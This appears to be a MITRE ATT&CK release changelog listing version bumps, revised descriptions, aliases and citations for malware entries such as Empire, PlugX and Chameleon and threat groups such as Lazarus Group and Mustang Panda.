Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-10 20:34:14.166000+00:00	2025-10-21 03:29:54.769000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0251] Zebrocy

Current version: 3.1

Version changed from: 3.0 → 3.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:44:17.288000+00:00	2025-10-22 02:49:35.030000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	3.0	3.1

[S0095] ftp

Current version: 2.2

Version changed from: 2.1 → 2.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-08-14 15:21:48.196000+00:00	2025-06-04 16:11:23.752000+00:00
x_mitre_version	2.1	2.2

[S1048] macOS.OSAMiner

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:59.825000+00:00	2025-10-22 02:37:07.176000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S0508] ngrok

Current version: 1.4

Version changed from: 1.3 → 1.4

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-27 21:35:52.624000+00:00	2025-10-16 19:37:56.911000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.3	1.4

[S0248] yty

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:42:35.950000+00:00	2025-10-22 03:06:38.183000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

Patches

[S0363] Empire

Current version: 1.8

	Old Description			New Description
t	1	[Empire](https://attack.mitre.org/software/S0363) is an open	t	1	[Empire](https://attack.mitre.org/software/S0363) is an open
	>	source, cross-platform remote administration and post-explo		>	-source, cross-platform remote administration and post-explo
	>	itation framework that is publicly available on GitHub. Whil		>	itation framework that is publicly available on GitHub. Whil
	>	e the tool itself is primarily written in Python, the post-e		>	e the tool itself is primarily written in Python, the post-e
	>	xploitation agents are written in pure [PowerShell](https://		>	xploitation agents are written in pure [PowerShell](https://
	>	attack.mitre.org/techniques/T1059/001) for Windows and Pytho		>	attack.mitre.org/techniques/T1059/001) for Windows and Pytho
	>	n for Linux/macOS. [Empire](https://attack.mitre.org/softwar		>	n for Linux/macOS. [Empire](https://attack.mitre.org/softwar
	>	e/S0363) was one of five tools singled out by a joint report		>	e/S0363) was one of five tools singled out by a joint report
	>	on public hacking tools being widely used by adversaries.(C		>	on public hacking tools being widely used by adversaries.(C
	>	itation: NCSC Joint Report Public Tools)(Citation: Github Po		>	itation: NCSC Joint Report Public Tools)(Citation: Github Po
	>	werShell Empire)(Citation: GitHub ATTACK Empire)		>	werShell Empire)(Citation: GitHub ATTACK Empire)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-25 20:32:02.152000+00:00	2025-10-24 03:33:19.777000+00:00
description	[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)	[Empire](https://attack.mitre.org/software/S0363) is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)
x_mitre_attack_spec_version	3.2.0	3.3.0

[S0013] PlugX

Current version: 3.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-04 17:15:48.780000+00:00	2025-09-11 18:28:54.041000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0

Description:

RatMilad is an Android remote access tool (RAT) with spyware functionality that has been used to target enterprise mobile devices in the Middle East since at least 2021. Variants of RatMilad have been disguised as VPN applications and a fake app named NumRent. Upon installation, RatMilad employs multiple Collection techniques to collect sensitive information before uploading the collected data to its command and control (C2) server. (Citation: ZimperiumGupta_RatMilad_Oct2022)

Major Version Changes

[S1083] Chameleon

Current version: 2.0

Version changed from: 1.0 → 2.0

	Old Description			New Description
t	1	[Chameleon](https://attack.mitre.org/software/S1083) is an A	t	1	[Chameleon](https://attack.mitre.org/software/S1083) is an A
	>	ndroid banking trojan that can leverage Android’s Accessibil		>	ndroid banking trojan that can leverage Android’s Accessibil
	>	ity Services to perform malicious activities. Believed to ha		>	ity Services to perform malicious activities. Believed to ha
	>	ve been first active in January 2023, [Chameleon](https://at		>	ve been first active in January 2023, [Chameleon](https://at
	>	tack.mitre.org/software/S1083) has been observed targeting u		>	tack.mitre.org/software/S1083) has been observed targeting u
	>	sers in Australia and Poland by masquerading as official app		>	sers in Australia and Poland by masquerading as official app
	>	s.(Citation: cyble_chameleon_0423)		>	lications. A new variant of [Chameleon](https://attack.mitre
				>	.org/software/S1083) has expanded its targets to include And
				>	roid users in the United Kingdom and Italy.(Citation: cyble_
				>	chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:06.355000+00:00	2025-10-24 03:53:35.020000+00:00
description	[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official apps.(Citation: cyble_chameleon_0423)	[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of [Chameleon](https://attack.mitre.org/software/S1083) has expanded its targets to include Android users in the United Kingdom and Italy.(Citation: cyble_chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'ThreatFabric_Chameleon_Dec2023', 'description': 'ThreatFabric. (2023, December 21). Android Banking Trojan Chameleon can now bypass any Biometric Authentication. Retrieved July 7, 2025.', 'url': 'https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action'}
x_mitre_contributors		Liran Ravich, CardinalOps

ics-attack

Minor Version Changes

[S0496] REvil

Current version: 2.3

Version changed from: 2.2 → 2.3

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 23:08:38.543000+00:00	2025-10-22 02:14:27.600000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.2	2.3

Groups

Description:

Water Galura are the operators of the Qilin Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for Qilin affilates recruited on Russian cybercrime forums. Water Galura have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)

Major Version Changes

[G0032] Lazarus Group

Current version: 5.0

Version changed from: 4.1 → 5.0

	Old Description			New Description
t	1	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a	t	1	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a
	>	North Korean state-sponsored cyber threat group that has bee		>	North Korean state-sponsored cyber threat group attributed t
	>	n attributed to the Reconnaissance General Bureau.(Citation:		>	o the Reconnaissance General Bureau (RGB). (Citation: US-CER
	>	US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko		>	T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C
	>	rean Cyber Groups September 2019) The group has been active		>	yber Groups September 2019) [Lazarus Group](https://attack.m
	>	since at least 2009 and was reportedly responsible for the N		>	itre.org/groups/G0032) has been active since at least 2009 a
	>	ovember 2014 destructive wiper attack against Sony Pictures		>	nd is reportedly responsible for the November 2014 destructi
	>	Entertainment as part of a campaign named Operation Blockbus		>	ve wiper attack on Sony Pictures Entertainment, identified b
	>	ter by Novetta. Malware used by [Lazarus Group](https://atta		>	y Novetta as part of Operation Blockbuster. Malware used by
	>	ck.mitre.org/groups/G0032) correlates to other reported camp		>	[Lazarus Group](https://attack.mitre.org/groups/G0032) corre
	>	aigns, including Operation Flame, Operation 1Mission, Operat		>	lates to other reported campaigns, including Operation Flame
	>	ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta		>	, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day
	>	Blockbuster) North Korean group definitions are known to h		>	s of Rain.(Citation: Novetta Blockbuster) North Korea’s cyb
	>	ave significant overlap, and some security researchers repor		>	er operations have shown a consistent pattern of adaptation,
	>	t all North Korean state-sponsored cyber activity under the		>	forming and reorganizing units as national priorities shift
	>	name [Lazarus Group](https://attack.mitre.org/groups/G0032)		>	. These units frequently share personnel, infrastructure, ma
	>	instead of tracking clusters or subgroups, such as [Andariel		>	lware, and tradecraft, making it difficult to attribute spec
	>	](https://attack.mitre.org/groups/G0138), [APT37](https://at		>	ific operations with high confidence. Public reporting often
	>	tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o		>	uses “Lazarus Group” as an umbrella term for multiple North
	>	rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro		>	Korean cyber operators conducting espionage, destructive at
	>	ups/G0094).		>	tacks, and financially motivated campaigns.(Citation: Mandia
				>	nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou
				>	ps 2023)(Citation: JPCert Blog Laz Subgroups 2025)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 17:21:11.622000+00:00	2025-10-24 01:29:21.748000+00:00
description	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094).	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) North Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	4.1	5.0

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Mandiant DPRK Groups 2023', 'description': 'Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023'}
external_references		{'source_name': 'Mandiant DPRK Laz Org Breakdown 2022', 'description': 'Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/'}
external_references		{'source_name': 'JPCert Blog Laz Subgroups 2025', 'description': '佐々木勇人 Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup. Retrieved August 25, 2025.', 'url': 'https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html'}

[G0069] MuddyWater

Current version: 6.0

Version changed from: 5.1 → 6.0

Details

values_changed
STIX Field	Old value	New Value
modified	2024-08-29 14:59:08.071000+00:00	2025-10-22 19:08:44.552000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	5.1	6.0

iterable_item_added
STIX Field	Old value	New Value
x_mitre_domains		mobile-attack

[G0129] Mustang Panda

Current version: 3.0

Version changed from: 2.1 → 3.0

	Old Description			New Description
t	1	[Mustang Panda](https://attack.mitre.org/groups/G0129) is a	t	1	[Mustang Panda](https://attack.mitre.org/groups/G0129) is a
	>	China-based cyber espionage threat actor that was first obse		>	China-based cyber espionage threat actor that has been condu
	>	rved in 2017 but may have been conducting operations since a		>	cting operations since at least 2012. [Mustang Panda](https:
	>	t least 2014. [Mustang Panda](https://attack.mitre.org/group		>	//attack.mitre.org/groups/G0129) has been known to use tailo
	>	s/G0129) has targeted government entities, nonprofits, relig		>	red phishing lures and decoy documents to deliver malicious
	>	ious, and other non-governmental organizations in the U.S.,		>	payloads. [Mustang Panda](https://attack.mitre.org/groups/G
	>	Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among othe		>	0129) has targeted government, diplomatic, and non-governmen
	>	rs.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation:		>	tal organizations, including think tanks, religious institut
	>	Anomali MUSTANG PANDA October 2019)(Citation: Secureworks B		>	ions, and research entities, across the United States, Europ
	>	RONZE PRESIDENT December 2019)		>	e, and Asia, with notable activity in Russia, Mongolia, Myan
				>	mar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PA
				>	NDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda
				>	March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(C
				>	itation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(C
				>	itation: Secureworks BRONZE PRESIDENT December 2019)(Citatio
				>	n: DOJ Affidavit Search and Seizure PlugX December 2024)(Cit
				>	ation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MU
				>	STANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUST
				>	ANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(
				>	Citation: Sophos PlugX September 2022)(Citation: Sophos Must
				>	ang Panda PLUGX)(Citation: Zscaler)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:34.723000+00:00	2025-10-23 18:52:40.872000+00:00
description	[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)	[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. [Mustang Panda](https://attack.mitre.org/groups/G0129) has been known to use tailored phishing lures and decoy documents to deliver malicious payloads. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PANDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: DOJ Affidavit Search and Seizure PlugX December 2024)(Citation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)(Citation: Zscaler)
external_references[4]['description']	(Citation: Secureworks BRONZE PRESIDENT December 2019)	(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.1	3.0

iterable_item_added
STIX Field	Old value	New Value
aliases		STATELY TAURUS
aliases		FIREANT
aliases		CAMARO DRAGON
aliases		EARTH PRETA
aliases		HIVE0154
aliases		TWILL TYPHOON
aliases		TANTALUM
aliases		LUMINOUS MOTH
aliases		UNC6384
aliases		TEMP.Hex
aliases		Red Lich
external_references		{'source_name': 'EARTH PRETA', 'description': '(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Trend Micro Mustang Panda Earth Preta Toneshell February 2025)(Citation: Trend Micro Mustang Panda Earth Preta TONESHELL June 2023)'}
external_references		{'source_name': 'FIREANT', 'description': '(Citation: Broadcom)'}
external_references		{'source_name': 'UNC6384', 'description': '(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)'}
external_references		{'source_name': 'TEMP.Hex', 'description': '(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)'}
external_references		{'source_name': 'CAMARO DRAGON', 'description': '(Citation: HorseShell)'}
external_references		{'source_name': 'HIVE0154', 'description': '(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)'}
external_references		{'source_name': 'TWILL TYPHOON', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references		{'source_name': 'TANTALUM', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references		{'source_name': 'LUMINOUS MOTH', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'}
external_references		{'source_name': 'STATELY TAURUS', 'description': '(Citation: Palo Alto Networks, Unit 42)(Citation: Unit42 Bookworm Nov2015)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Broadcom)(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)(Citation: CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024)'}
external_references		{'source_name': 'Red Lich', 'description': '(Citation: PWC UK MUSTANG PANDA RED LICH February 2021)'}
external_references		{'source_name': 'Eset PlugX Korplug Mustang Panda March 2022', 'description': 'Alexandre Cote Cyr. (2022, March 23). Mustang Panda’s Hodur: Old tricks, new Korplug variant. Retrieved September 9, 2025.', 'url': 'https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/'}
external_references		{'source_name': 'Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022', 'description': 'Asheer Malhotra, Jungsoo An, Kendall Mc. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved August 4, 2025.', 'url': 'https://blog.talosintelligence.com/mustang-panda-targets-europe/'}
external_references		{'source_name': 'Broadcom', 'description': 'Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.', 'url': 'https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia'}
external_references		{'source_name': 'HorseShell', 'description': 'Cohen, Itay. Madej, Radoslaw. Threat Intelligence Team. (2023, May 16). THE DRAGON WHO SOLD HIS CAMARO: ANALYZING CUSTOM ROUTER IMPLANT. Retrieved December 26, 2023.', 'url': 'https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/'}
external_references		{'source_name': 'CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024', 'description': 'CSIRT CTI. (2024, January 23). Stately Taurus Targets Myanmar Amidst Concerns over Military Junta’s Handling of Rebel Attacks. Retrieved August 4, 2025.', 'url': 'https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/'}
external_references		{'source_name': 'DOJ Affidavit Search and Seizure PlugX December 2024', 'description': 'DOJ. (2024, December 20). Mag. No. 24-mj-1387 AFFIDAVIT IN SUPPORT OF AN APPLICATION FOR A NINTH SEARCH AND SEIZURE WARRANT- IN THE MATTER OF THE SEARCH AND SEIZURE OF COMPUTERS IN THE UNITED STATES INFECTED WITH PLUGX MALWARE . Retrieved September 9, 2025.', 'url': 'https://www.justice.gov/archives/opa/media/1384136/dl'}
external_references		{'source_name': 'EclecticIQ Mustang Panda PlugX', 'description': 'EclecticIQ Threat Research Team. (2023, February 2). Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware. Retrieved September 9, 2025.', 'url': 'https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware'}
external_references		{'source_name': 'IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025', 'description': 'Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.', 'url': 'https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor'}
external_references		{'source_name': '2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA', 'description': 'Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.', 'url': 'https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan'}
external_references		{'source_name': 'ATTACKIQ MUSTANG PANDA TONESHELL March 2023', 'description': 'Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.', 'url': 'https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/'}
external_references		{'source_name': 'Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024', 'description': 'Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html'}
external_references		{'source_name': 'Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023', 'description': 'Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/'}
external_references		{'source_name': 'Microsoft Naming Conventions Frequently Updated', 'description': 'Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.', 'url': 'https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming'}
external_references		{'source_name': 'Trend Micro Mustang Panda Earth Preta Toneshell February 2025', 'description': 'Nathaniel Morales, Nick Dai. (2025, February 18). Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection. Retrieved September 10, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html'}
external_references		{'source_name': '2022 November_TrendMicro_Earth Preta_Toneshell_Pubload', 'description': 'Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html'}
external_references		{'source_name': 'Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025', 'description': 'Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats'}
external_references		{'source_name': 'PWC UK MUSTANG PANDA RED LICH February 2021', 'description': 'PWC UK. (2021, February 28). Cyber Threats 2020: A Year in Retrospect. Retrieved October 15, 2025.', 'url': 'https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf'}
external_references		{'source_name': 'Unit42 Bookworm Nov2015', 'description': 'Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/'}
external_references		{'source_name': 'Palo Alto Networks, Unit 42', 'description': 'Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/'}
external_references		{'source_name': 'Sophos PlugX September 2022', 'description': 'Secureworks Counter Threat Unit Research Team. (2022, April 27). BRONZE PRESIDENT Targets Russian Speakers with Updated PlugX. Retrieved September 9, 2025.', 'url': 'https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx'}
external_references		{'source_name': 'Sophos Mustang Panda PLUGX', 'description': 'Secureworks Counter Threat Unit Research Team. (2022, September 8). BRONZE PRESIDENT Targets Government Officials. Retrieved September 9, 2025.', 'url': 'https://www.secureworks.com/blog/bronze-president-targets-government-officials'}
external_references		{'source_name': 'Zscaler', 'description': 'Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy \| P1. Retrieved July 21, 2025.', 'url': 'https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1'}
external_references		{'source_name': 'Trend Micro Mustang Panda Earth Preta TONESHELL June 2023', 'description': 'Sunny Lu, Vickie Su, Nick Dai. (2023, June 14). Behind the Scenes: Unveiling the Hidden Workings of Earth Preta. Retrieved September 10, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html'}
external_references		{'source_name': 'BlackBerry MUSTANG PANDA October 2022', 'description': 'The BlackBerry Research and Intelligence Team. (2022, October 6). Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims. Retrieved October 14, 2025.', 'url': 'https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims'}
external_references		{'source_name': 'Unit42 Chinese VSCode 06 September 2024', 'description': 'Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/'}
x_mitre_contributors		Jiraput Thamsongkrah
x_mitre_contributors		YH Chang, ZScaler ThreatLabz

[G1015] Scattered Spider

Current version: 3.0

Version changed from: 2.0 → 3.0

	Old Description			New Description
t	1	[Scattered Spider](https://attack.mitre.org/groups/G1015) is	t	1	[Scattered Spider](https://attack.mitre.org/groups/G1015) is
	>	a native English-speaking cybercriminal group that has been		>	a native English-speaking cybercriminal group active since
	>	active since at least 2022.(Citation: CrowdStrike Scattered		>	at least 2022. (Citation: CrowdStrike Scattered Spider Profi
	>	Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct		>	le) (Citation: MSTIC Octo Tempest Operations October 2023) T
	>	ober 2023) The group initially targeted customer relationshi		>	he group initially targeted customer relationship management
	>	p management and business-process outsourcing (BPO) firms as		>	(CRM) providers, business process outsourcing (BPO) firms,
	>	well as telecommunications and technology companies. Beginn		>	and telecommunications and technology companies before expan
	>	ing in 2023, [Scattered Spider](https://attack.mitre.org/gro		>	ding in 2023 to gaming, hospitality, retail, managed service
	>	ups/G1015) expanded its operations to compromise victims in		>	provider (MSP), manufacturing, and financial sectors. (Cita
	>	the gaming, hospitality, retail, MSP, manufacturing, and fin		>	tion: MSTIC Octo Tempest Operations October 2023) [Scattered
	>	ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo		>	Spider](https://attack.mitre.org/groups/G1015) relies heavi
	>	ber 2023) During campaigns, [Scattered Spider](https://attac		>	ly on social engineering, including impersonating IT and hel
